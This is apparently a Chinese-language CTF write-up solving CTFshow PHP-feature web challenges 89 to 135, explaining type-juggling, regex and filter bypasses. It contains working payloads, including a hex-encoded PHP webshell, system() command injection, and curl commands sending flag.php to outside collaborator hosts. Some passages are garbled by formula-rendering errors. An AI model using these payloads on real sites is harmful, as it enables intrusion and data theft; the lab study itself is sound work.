web入门 PHP特性篇的wp都一把梭哈在这里啦~
有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭…
有错误敬请斧正!
CTFshow PHP web89
看题目,有个flag.php文件。题目要求get有个num,是数字但是不包含0-9。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1 。 故此传入?num[]=1,产生错误返回1。 并且preg_math()传入数组参数也会直接返回0
preg_math()传入数组参数也会直接返回0
这边顺带提一下:有时候sql的注入点为.php?id=1
,如果修改为.php?id[]=2
页面和之前一样,则大概率后台是: i d = i n t v a l ( id=intval( id=intval(_GET[‘id’]);有时候加上单引号后页面不变化也是因为这个原因,这就很难逃逸了。
CTFshow PHP web90
先看题目,要求get一个num,值不等于4476并且intval之后等于4476
首先可以利用弱比较,?num=4476a不满足===,并且intval之后为4476
也可以/?num=4476.1
还可以/?num=0x117c
说明一下intval()函数性质:
①intval():可以获取变量的整数值
②int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base为空,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
- 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
CTFshow PHP web91
先解释一下 preg_match(‘/^php$/im’, a ) 和 p r e gm a t c h (′ /p h p a) 和 preg_match('/^php a)和pregmatch(′/php/i’, $a) 的意思:
/i表示匹配大小写,/m表示多行匹配 , "行首"元字符 (^) 仅匹配字符串的开始位置**, **而"行末"元字符 ($) 仅匹配字符串末尾,字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配到以php开头和以php结尾的字符串才会返回true 。
是要求我们多行匹配到php但是单行匹配不到php。
payload:?cmd=%0aphp // %0a表示换行符
CTFshow PHP web92
int intval ( mixed $var [, int $base = 10 ] ) 参数说明:
$var:要转换成 integer 的数量值。 $base:转化所使用的进制。
如果 base为空,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
- 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
根据这个性质可以构造payload:
?num= 0x117c
或者
intval()中有一个特性,其中若传入1e4,准确的值为10000,但是经过intval(‘1e4’)后,输出的值为1
根据这个性质可以构造payload:
?num=4476e1
CTFshow PHP web93
先看题目,num不能有字母,然后满足两个条件。所以不能用科学计数法了。
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
$var:要转换成 integer 的数量值。
$base:转化所使用的进制。
如果 base为空,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);
- 否则,如果字符串以 “0” 开始,使用 8 进制(octal);
- 否则,将使用 10 进制 (decimal)。
例子:intval($NSScTf, 0) === 114514
通过十六进制的0x1BF52以及八进制的0337522都可以绕过
payload:
?num=010574 //八进制?num=4476.123 //取整
CTFshow PHP web94
先看题目,多了一个 !strpos($num, “0”) , strpos() 函数查找字符串在另一字符串中第一次出现的位置 ,这里要求是第一个字符不是0,其他和上题一样,可用4476.0绕过,或者在八进制前面加空格,或者 ?num=+4476 。
- strpos() -函数查找字符串在另一字符串中第一次出现的位置。
- stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
- strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
- strrpos() - 查找字符串在另一字符串中最后一次出现的位置(区分大小写)
payload:
?num=4476.0?num= 010574?num=+4476.0
CTFshow PHP web95
先看题目,和上题相比过滤了小数点,第一个强比较换成了弱比较(==)。
payload:
?num= 010574?num=+010574
CTFshow PHP web96
先看题目,要求u不弱等于flag.php,然后高亮u。可以推断出,flag在当前目录下的flag.php文件中。
payload:
?u=../html/flag.php?u=./flag.php //相对路径, ./表示在当前目录下?u=php://filter/convert.base64-encode/resource=flag.php //伪协议?u=php://filter/resource=flag.php //伪协议?u=/var/www/html/flag.php //绝对路径
CTFshow PHP web97
先看题目,要求我们POST两个东西,MD5强相等。
payload:
a[]=17&b[]=17 //数组a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2//强碰撞
CTFshow PHP web98
考察PHP三元运算符,开局给源码
分析代码
include("flag.php");//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地址)$_GET?$_GET=&$_POST:'flag'; //没有用$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';//如果get进来的HTTP_FLAG值是flag,那么输出$flag,要不然输源码highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
既然get传入的值会被定位指向到post所对应的值,那么只需要有get存在即可,同时post传入HTTP_FLAG=flag就可以了
payload
?HTTP_FLAG=随便输 //GETHTTP_FLAG=flag //POST
CTFshow PHP web99
先看题目,
$allow = array(); //把allow变量设置为数组。
- array_push() - 向数组尾部插入一个或多个元素。
- in_array() - 搜索数组中是否存在指定的值。函数有缺陷,若没有设置第三个参数,则存在强制转换(类比==)比如数组$allow含有1,in_array(1.php, $allow)为真。
引用一下羽师傅的文章
$allow = array(1,'2','3');var_dump(in_array('1.php',$allow));返回的为true$allow = array('1','2','3');var_dump(in_array('1.php',$allow));返回false //in_array延用了php中的==
file_put_contents(文件名,写入的数据,mode,context)
payload:
?n=1.php //GET,随机数插入数组,1-36(1.php-36.php)的可能性最大,如果不成功多试几次。content= //POST,也可以直接写命令RCE
CTFshow PHP web100
开题给源码。
很多师傅像我当时一样,看到下面这一句就不会了。认为v1、v2、v3都得是数字。
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
这里考察了=和and的优先级,&&>||>=>and>or
所以只需要v1是数字就行了。
接下来两个正则表达式要求v2没有分号,v3有分号。
if(!preg_match("/\;/", $v2)){ if(preg_match("/\;/", $v3)){ eval("$v2('ctfshow')$v3"); } }
payload如下:
?v1=1&v2=system("tac ctfshow.php"); //利用注释?v1=1&v2=system('tac ctfshow.php')&v3=; //直接打也行?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息?v1=1&v2=var_dump($ctfshow)&v3=; //因为这个flag在ctfshow这个类中,直接打印变量
$flag_is_25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9
25bad9b00x2d9c110x2d48a80x2daa270x2d1771e2404db9
把0x2d转化为-
,再包上ctfshow。
CTFshow PHP web101
开题给源码
过滤比上一题严了
payload:(只有一个能用)
?v1=1&v2=echo new ReflectionClass&v3=; //使用反射类直接输出class ctfshow的信息
CTFshow PHP web102
开题直接给源码
函数解析:
substr():返回字符串的子串,题中意思是返回v2字符串第2位开始的字串
call_user_func():把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。
file_put_contents(): 将一个字符串( s t r )写入文件( str)写入文件( str)写入文件(v3)
由此我们可以构造payload:
?v2=0x3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e&v3=x.php //GETv1=hex2bin //POST
hex2bin:参数只有一个,将传入的参数(16进制转换为ascii字符)
hex2bin(3c3f706870206576616c28245f504f53545b276a6179275d293b3f3e)
就是一句话木马
但是有个什么问题:
var_dump(is_numeric("0x66"));// 在php5中返回值为truevar_dump(is_numeric("0x66"));// 在php7中返回值为false
但是本题的环境是php7
所以换一种方法
利用base64,同时配合伪协议去写入,但是需要保证通过is_number函数的判断,可以有字母啊,但是必得是e啊,也就是科学计数法啊,来自同一家的payload啊:
$a='=`cat *`;';$b=base64_encode($a); // PD89YGNhdCAqYDs=$c=bin2hex($b); //这里直接用去掉=的base64输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
payload:(v2前两个1只是为了占位)
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php //GET//str=PD89YGNhdCAqYDs(=`cat *`; 的base64编码)v1=hex2bin //POST
然后访问x.php去触发就可以了
CTFshow PHP web103
直接给了源码
和上一题相比,加了一段过滤代码
if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); }
/.*p.*h.*p.*/i 是一个正则表达式模式,用于匹配包含 "php" 子字符串的字符串。.* 表示匹配任意字符(除换行符)零次或多次。因此,如果 $str 不包含 "php" 子字符串,条件为真,表示字符串不符合预期要求。在条件块中可以执行相应的处理逻辑。
我寻思着,之前的payload也没字符串"php"啊。
所以payload不变:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=x.php //GET//str=PD89YGNhdCAqYDs(=`cat *`; 的base64编码)v1=hex2bin //POST
CTFshow PHP web104
直接给了源码
if(sha1($v1)==sha1($v2))
判断过了就给flag
sha1和MD5一样可以数组绕过
payload:
?v2[]=1 //GETv1[]=2 //POST
也可以弱碰撞
aaK1STfY//0e76658526655756207688271159624026011393aaO8zKZF//0e89257456677279068558073954252716165668
CTFshow PHP web105
源码直接给了
GET的变量名字不能等于error,POST的变量值不能等于flag
这题的考点是PHP变量覆盖。
方法一:
用die($error);
输出flag
此时,POST进来的flag变量值不等于flag。
payload:
?suces=flag //GETerror=suces //POST
方法二:
用die($suces);
输出flag
要是不在die($error);
终止,那么POST进来的flag一定等于$flag
我们做不到直接知道flag是多少,POST一个flag=ctfshow{什么什么}
由于变量覆盖,我们可以GET一个flag= 把程序中的$flag变量赋值为空
payload:
?suces=flag&flag= //GET//啥都不POST
或者
?suces=flag&flag= //GETflag= //POST
此时用die($suces);
输出flag
不可能方法:
如果只用echo "your are good".$flag
输出flag,不可能
因为这种方法我不能动 f l a g 的值,根据方法二,我过不了 ‘ d i e ( flag的值,根据方法二,我过不了`die( flag的值,根据方法二,我过不了‘die(error)`语句。
CTFshow PHP web106
web104的payload直接打
CTFshow PHP web107
parse_str()
:
parse_str()名称改写
题目要我们POST一个v1,GET一个v3
核心思想我们用0e绕过
payload:
?v3=s878926199a //GETv1=flag=0 //POST
0e开头的md5和原值:QNKCDZO0e8304004519934940580242199033912406107080e462097431906509019562988736854s878926199a0e545993274517709034328855841020s155964671a0e342768416822451524974117254469s214587387a0e848240448830537924465865611904s214587387a0e848240448830537924465865611904s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s1885207154a0e509367213418206700842008763514s1502113478a0e861580163291561247404381396064s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s155964671a0e342768416822451524974117254469s1184209335a0e072485820392773389523109082030s1665632922a0e731198061491163073197128363787s1502113478a0e861580163291561247404381396064s1836677006a0e481036490867661113260034900752s1091221200a0e940624217856561557816327384675s155964671a0e342768416822451524974117254469s1502113478a0e861580163291561247404381396064s155964671a0e342768416822451524974117254469s1665632922a0e731198061491163073197128363787s155964671a0e342768416822451524974117254469s1091221200a0e940624217856561557816327384675s1836677006a0e481036490867661113260034900752s1885207154a0e509367213418206700842008763514s532378020a0e220463095855511507588041205815s878926199a0e545993274517709034328855841020s1091221200a0e940624217856561557816327384675s214587387a0e848240448830537924465865611904s1502113478a0e861580163291561247404381396064s1091221200a0e940624217856561557816327384675s1665632922a0e731198061491163073197128363787s1885207154a0e509367213418206700842008763514s1836677006a0e481036490867661113260034900752s1665632922a0e731198061491163073197128363787s878926199a0e545993274517709034328855841020
有个师傅的payload我属实看不懂:
?v3[]=1 //GETv1[]=2 //POST
CTFshow PHP web108
ereg()
:正则表达式匹配
strrev()
:反转字符串
intval()
:获取变量的整数值
ereg (“1+$”, $_GET[‘c’])匹配只包含字母(大小写)的字符串
36d的十六进制是877
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
?c=a%00778
CTFshow PHP web109
preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)
v1和v2只要有字母就行。
eval("echo new $v1($v2());")
这里new了一个什么什么,很容易往类这方面想。这道题用到了
Exception
:所有异常的基类
CachingIterator
:此对象支持在另一个迭代器上进行缓存迭代
ReflectionClass
:反射类。
ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作。
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))
来执行命令
当新建ReflectionClass类并传入PHP代码时,会返回代码的运行结果,可以通过echo
显示。也有师傅的博客说是因为echo触发了类中__toString()魔术方法。
即使传入了空的括号system()
,代码依旧可以运行,且error_reporting(0)
的存在阻止了报错。
payload:
?v1=Exception&v2=system('tac fl36dg.txt') ?v1=ReflectionClass&v2=system('tac fl36dg.txt')?v1=CachingIterator&v2=system('tac fl36dg.txt')
【存疑】 这几个类下次还得细细学一下
CTFshow PHP web110
和上一题差不多,但是正则匹配换了一下。
preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)""\\\\"表示匹配一个"\"
正则表达式表示v1和v2必须包含这些符号。带入程序则是,v1、v2不能包含这些符号,否则die出程序。所以我们要RCE,v1、v2只能全是字母。
之前的payload用不了了,但是可以用之前的payload查看phpinfo
?v1=Exception&v2=phpinfo
这题的考点:php内置类
DirectoryInterator
:遍历目录的类
FilesystemIterator
:遍历文件的类
getcwd()
:函数取得当前工作目录
payload:
?v1=FilesystemIterator&v2=getcwd
得到当前目录的第一个文件名字:fl36dga.txt,然后直接访问。
缺陷:只能获取第一个文件名字,但是题目中正好只要第一个文件的名字就够了。
CTFshow PHP web111
正则匹配过滤和上题一样。但是v1还需要包含"ctfshow"字符串。
分析一下题中getFlag()函数的作用:
//取v1和v2的地址(传址引用),所以函数内部对参数的修改会影响到外部变量function getFlag(&$v1,&$v2){ // $v1 和 $v2 的值作为变量名进行间接引用,变量v2将地址传给了变量v1,即两个变量指向同一个地址。 eval("$$v1 = &$$v2;"); //用于打印变量的详细信息 var_dump($$v1);}
考点:php超全局变量$GLOBALS
$GLOBALS:引用全局作用域中可用的全部变量,一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
可看到题中有include("flag.php");
,猜测flag.php中有变量存储了flag。
因为最后var_dump($$v1);
会把变量 v1打印出来,让变量 v1打印出来,让变量 v1打印出来,让变量v1指向flag.php中存储了flag的变量我们就能获得flag。但是我们并不知道存储了flag的变量的名称,所以我们这里的目标是获得所有的变量,即全局变量$GLOBALS。
所以我们的目的是var_dump( G L O B A L S ) ,倒推一下, ‘ e v a l ( " GLOBALS),倒推一下,`eval(" GLOBALS),倒推一下,‘eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲ v 2 ; " ) ; ‘ 这里,我们传参要使得这句语句变成 ‘ e v a l ( " v2;");`这里,我们传参要使得这句语句变成`eval(" v2;");‘这里,我们传参要使得这句语句变成‘eval("KaTeX parse error: Expected 'EOF', got '&' at position 6: v1 = &̲GLOBALS;");`。
所以我们传入的v2=GLOBALS。
v1只要包含"ctfshow"字符串就行了。
payload:
?v1=xxxctfshowxxx&v2=GLOBALS
CTFshow PHP web112
分析一下代码:
function filter($file){//满足正则就die出,不满足正则原样输出if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; }}//GET传参进来一个file变量$file=$_GET['file'];//函数检查指定的文件名是否是正常的文件。判断file变量的类型是不是文件if(! is_file($file)){ //高亮显示file变量的值对应的那个文件 highlight_file(filter($file));}else{ echo "hacker!";}
看他的正则过滤就知道了需要用伪协议。伪协议不影响file_get_contents,和highlight_file。
我们的目的是不能让is_file
检测出是文件,并且 highlight_file
可以识别为文件。
data、input伪协议被过滤,那么还剩下php://filter
和file://
伪协议
rot13、base64、string字符串被过滤,那么php://filter伪协议还剩下这些过滤器:
也可以直接用不带任何过滤器的filter伪协议
?file=php://filter/resource=flag.php
也可以读取压缩流
?file=compress.zlib://flag.php
进一步学习:可以查看一下php手册学习一个各个协议。
引用一下大佬博客:(5条消息) ctfshow学习记录-web入门(php特性109-115&123&125-126)_ctfshow web125_九枕的博客-CSDN博客
file协议不能绕过is_file的判断。http协议需要公网ip。glob协议返回的是一个数组。highlight_file不能对数组进行高亮,所以本题不能用。
CTFshow PHP web113
这次限制了filter伪协议
压缩流payload可以继续用
?file=compress.zlib://flag.php
新知识点:目录溢出导致is_file认为这不是一个文件。
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
引用一下佬的博客:
linux里/proc/self/root
是指向根目录的,也就是如果在命令行中输入ls /proc/self/root
,其实显示的内容是根目录下的内容
/proc/self:不同的进程访问该目录时获得的信息是不同的,内容等价于/proc/本进程pid/。/proc/self/root/是指向/的符号链接,就是根目录。
CTFshow PHP web114
加了对compress
、root
、 zip
的过滤,之前的payload都用不了了。
但是,对filter
的过滤却不见了。
payload:
?file=php://filter/resource=flag.php
CTFshow PHP web115
让我们GET传参一个num,满足is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36')
与$num=='36'
,注意,这里是字符串’36’。
trim():去除字符串首尾处的空白字符(或者其他字符)
自定义函数filter():把num中0x、0、e、.、+字符都换成数字1。
网上有一个FUZZ脚本:
for($i = 0; $i<129; $i++){$num=chr($i).'36';if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){echo urlencode(chr($i))."\n";}}?>
一共有五个条件,脚本fuzz了三个,跑出来的字符是:
%0C、%2B、-、.、0、1、2、3、4、5、6、7、8、9
还剩两个条件是filter($num)=='36'
和$num=='36'
跑出来的字符中,-、0、1、2、3、4、5、6、7、8、9直接就导致了num不满足$num==‘36’
跑出来的字符中,%2B(+的url编码)和 . 会被filter函数识别换成1,num变成136,不满足$num==‘36’
所以只剩下%0C
(换页符)可用,这题只有一个解
payload:
?num=%0C36
正常思路是去找函数绕过。
is_numeric():
php中is_numeric函数的绕过_is_numeric绕过_T0mrvvi1b3t的博客-CSDN博客
利用数组+十六进制来进行绕过;在前后加%00或在后加%20(空格);类型转换绕过:is_numeric(999a)是false。
所以我们可以选择在前面加%20,is_numeric()不会被绕过,任然判断为true。
trim()不会移除%0c
加上%0c
换页符,是%0c36,这个东西类型转换时会被转换为数值36。%0c36
在==
进行类型转换,结果true;在!==
不进行类型转换,所以字符串和数值比较,类型不同,结果true。
payload:
?num=%0C36
CTFshow PHP web123
考点:在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了。
这里CTF[
SHOW.COM=>CTF_
SHOW.COM
要求CTF_SHOW、CTF_SHOW.COM必须传参,fl0g不能传参。所以$fl0g==="flag_give_me"
条件不能满足,可以利用上面的eval。
payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
问题来了,题中有一段代码是$a=$_SERVER['argv'];
,这个argv是个什么呢?
第一次遇到它的时候是pear文件包含,argv这个东西涉及到了pear文件包含的原理。
argv是数组,argc是数字。可通过var_dump($_SERVER);和var_dump($argv);语句查看argv有独立GET之外获取参数的作用。比如传入?aaa+bbb argv(数组)两个元素是aaa和bbb。argc是数组的长度。php中有些文件(pearcmd.php)是通过argv和argc来获取参数的。
这个argv还分两种模式,web和cli
web网页模式下在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果,题目中应该是On这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]//$_SERVER[‘argv’][0]就是a[0]$argv,$argc在web模式下不适用
cli模式(命令行)下第一个参数总是当前【脚本】的文件名,因此 $argv[0] 就是脚本文件名。当把php作为脚本,使用这个命令执行:php script.php arg1 arg2 arg3以上示例的输出类似于:array(4) { [0]=> string(10) "script.php" [1]=> string(4) "arg1" [2]=> string(4) "arg2" [3]=> string(4) "arg3"}
我们是在网页模式下的,注意重点:
$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
而 $_SERVER[‘QUERY_STRING’] 是获取查询语句,也就是?后面的语句
举个例子:
如果 ?$fl0g=flag_give_me$_SERVER['argv'][0]=$a[0]=$_SERVER[‘QUERY_STRING’]就是$fl0g=flag_give_me
利用$_SERVER['argv'][0]
就可以绕过对isset($fl0g)
的判断。用+
代表空格。
payload:
get:?$fl0g=flag_give_me;post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])//从而满足之后的判断语句//if($fl0g==="flag_give_me"){// echo $flag;//}
和
get:?a=1=1+fl0g=flag_give_mepost:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //需要用burp发包
CTFshow PHP web125
这次过滤了echo,长度限制也变短了
之前的payload满足条件的还剩
get:?$fl0g=flag_give_me;post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
和
get:?a=1+fl0g=flag_give_mepost:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //需要用burp发包
我们还可以用highlight_file构造一个新的payload:
get:?1=flag.phppost:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])//不懂c怎么小于16的
CTFshow PHP web126
多过滤了字母g
i
f
c
o
d
那么highlight_file
不能用了,各种输出函数不能使用了,所以不能直接通过eval("$c".";");
来实现输出flag了,需要考虑用满足fl0g的条件来echo $flag
。
之前的payload还剩下能用的:
?a=1+fl0g=flag_give_me //GETCTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1]) //POST //需要用burp发包
?$fl0g=flag_give_me; //GETCTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0]) //POST
当然,eval也能用assert代替。
(突然回忆到蚁剑的转接头,有时候eval用不了也是能用assert的)
assert的语法要求没eval那么严格,相比上一个payload,$fl0g=flag_give_me
少一个分号也没啥事。
?$fl0g=flag_give_me //GETCTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0]) //POST
别的师傅对assert的详细解释:
assert() 断言:PHP 5bool assert ( mixed $assertion [, string $description ] )PHP 7bool assert ( mixed $assertion [, Throwable $exception ] )如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行可见,eval和assert都可以将字符当作代码执行。
CTFshow PHP web127
注释都告诉我们了有waf。
$_SERVER['QUERY_STRING'];
":web123提到过$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
,在题目,就是web模式下,这个和GET传参有关
extract
:从数组中将变量导入到当前的符号表
回归题目
浏览所有代码,我们能获取flag的路径只有
if($ctf_show==='ilove36d'){ echo $flag;}
所以我们的目标是使$ctf_show==='ilove36d'
。
很容易想到GET传参?ctf_show=ilove36d
。
然后 extract()函数把我们的传参导入到当前的符号表使$ctf_show==='ilove36d'
但是有一个问题,自定义函数waf()会对$url
也就是$_SERVER['QUERY_STRING']
也就是我们的GET传参进行正则匹配过滤,ctf_show
中_
会被过滤使程序直接die出。
回归web123,可以自动转成下划线又不在waf里面的,就只有空格。
我们GET传参?ctf show=ilove36d
就行了
CTFshow PHP web128
让我来看看你有多骚~
直接给了源码。
题目的正则要求f1不存在字母数字,v2无限制。
call_user_func
:第一个参数是被调用的回调函数,其余参数是回调函数的参数。
var_dump
:打印变量的相关信息
扩展
gettext()
:_()
是gettext()
的拓展函数 在开启相关设定后,_("666")
等价于gettext("666")
,且就返回其中的参数
get_defined_vars
:返回由所有已定义变量所组成的数组,因为包含了flag.php,所以flag.php里面肯定有$flag储存了flag。
所以可构造playload:
?f1=_&f2=get_defined_vars
var_dump(call_user_func(call_user_func($f1,$f2)));=> var_dump(call_user_func(call_user_func(_,'get_defined_vars')));=> var_dump(call_user_func(get_defined_vars));
确实够骚的。
CTFshow PHP web129
stripos
:查找字符串首次出现的位置
readfile
: 输出文件
考点:目录穿越
题目要求我们构造的f中有ctfshow,且不在最开头。则执行readfile函数,同时还要不影响flag.php的读取
GET传参://查看源码?f=php://filter/|ctfshow/resource=flag.php?f=/ctfshow/../../../../../../../var/www/html/flag.php?f=./ctfshow/../flag.php//直接回显base64?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
CTFshow PHP web130
题目描述:very very very(省略25万个very)ctfshow
分析代码:
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!');}
要求我们传入的字符串不包含"ctfshow" (preg_match判断)
if(stripos($f, 'ctfshow') === FALSE){ die('bye!!');}
要求我们传入的字符串包含"ctfshow" (stripos判断)
方法一:
preg_match不识别数组,否则返回false
采用数组
绕过的方法,stripos()
遇到数组会返回null
,null!=false
,所以可以绕过stripos函数
f[]=1
方法二:
.
表示任意单个字符,+
表示必须匹配1次或多次,+?
表示 重复1次或更多次,但尽可能少重复。
所以在ctfshow前面必须有至少一个字符,才会返回true
所以直接构造playload:f=ctfshow
,即可绕过preg_match函数
同时,if(0 === flase)返回值为false0不是强等于false的,所以也不满足if(stripos($f, 'ctfshow') === FALSE)
f=ctfshow
方法三:
溢出回溯限制,这个知识点在2023年安洵杯第一题刚刚遇到过。
引用一下小元砸
师傅的博客
PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。
利用脚本:
import requestsurl="xxxxxxxxxxxxxxx"data={ 'f':'very'*250000+'ctfshow'}r=requests.post(url,data=data)print(r.text)
执行后,因为超出了preg_match的回溯次数,报错返回false,达到绕过的效果,
同时因为POST传入的f中有ctfshow,第二个判断也被绕过,输出flag。
方法四:
f=ctfshow[]
【原理存疑】
CTFshow PHP web131
和web130
差不多,但是由于改了stripos()的匹配内容,之前的方法二用不了了
因为$f = (String)$_POST['f'];
对$F进行了强制类型转换,所以之前的方法一、四也用不了了。只剩下方法三——溢出回溯限制
跑一下利用脚本
CTFshow PHP web132
题目描述:为什么会这样?
话不多说,直接开始信息搜集
先dirsearch扫一下。
访问/admin/index.php
路由得到源码
分析一下代码:
mt_rand()
:使用 Mersenne Twister 算法生成随机整数。相比较于rand()函数其速度更快
&&和||优先级问题
||优先级低于&&。if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")
可看作if(($code === mt_rand(1,0x36D) && $password === $flag )|| $username ==="admin")
所以只需要满足后者就行:$username ==="admin"
同时满足下一个if:$code == 'admin'
payload:
?username=admin&code=admin&password=6666666
其实第一个$code === mt_rand(1,0x36D)为false,之后就执行||后面的内容,跳过了对password的判断,这叫做"短路"
CTFshow PHP web133
hint:ctfshow web133和其他命令执行的骚操作_Firebasky的博客-CSDN博客
考点:命令执行的骚操作和curl -F的使用
@
:防止报错
substr($F,0,6)
:截断得前六个字符
如果只能有6个字符的话,执行命令确实不可能。
看一个骚一点的例子: 确实sleep了
?F=`$F` ;sleep 3
不是说好6个字符吗?这么长这么还能执行?
分析一下
传入?F=`$F` ;sleep 3 //此时不被正则过滤,程序中$F=`$F` ;sleep 3经过substr()函数截断,那行代码变成eval(`$F` ;);之前说了,程序中$F=`$F` ;sleep 3那行代码就是eval(` `$F`;+sleep 3 `;);所以执行了sleep 3
同理,我们可以构造
?F=`$F` ;ls /?F=`$F` ;tac /f*
但是事实是,命令可以执行,但是没有回显。
无回显RCE,学个新姿势:利用curl去带出flag.php
打开Burp的 Collaborator Client
点击第一个,第二个用来刷新
剪贴板中多了一个nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net
payload:
?F=`$F` ;curl -X POST -F xx=@flag.php http://nkbdydku0o5akpn25qepeqaii9o8cx.burpcollaborator.net//无换行//其中-F 为带文件的形式发送post请求//xx是上传文件的name值,flag.php就是上传的文件
正常无回显做法
1、写入文件。经过测试没有写文件权限。2、dnslog外带 平台打不开了,nnd,这个方法应该是可以的3、http信道 【超级可行】4、反弹shell bash反弹 无效5、反弹shell 利用平台 无效
http信道payload:
?F=`$F` ;curl http://f74d1j0x.requestrepo.com/?1=`cat flag.php|base64`
base64解码得
CTFshow PHP web134
$_SERVER['QUERY_STRING']
:查询(query)的字符串
https://blog.csdn.net/qq_49480008/article/details/115872899
parse_str()
:将字符串解析成多个变量
extract()
:从数组中将变量导入到当前的符号表
payload:
?_POST[key1]=36d&_POST[key2]=36d
有点抽象,羽师傅的例子感觉比较好。
flag在源码里面。
CTFshow PHP web135
加强版web133
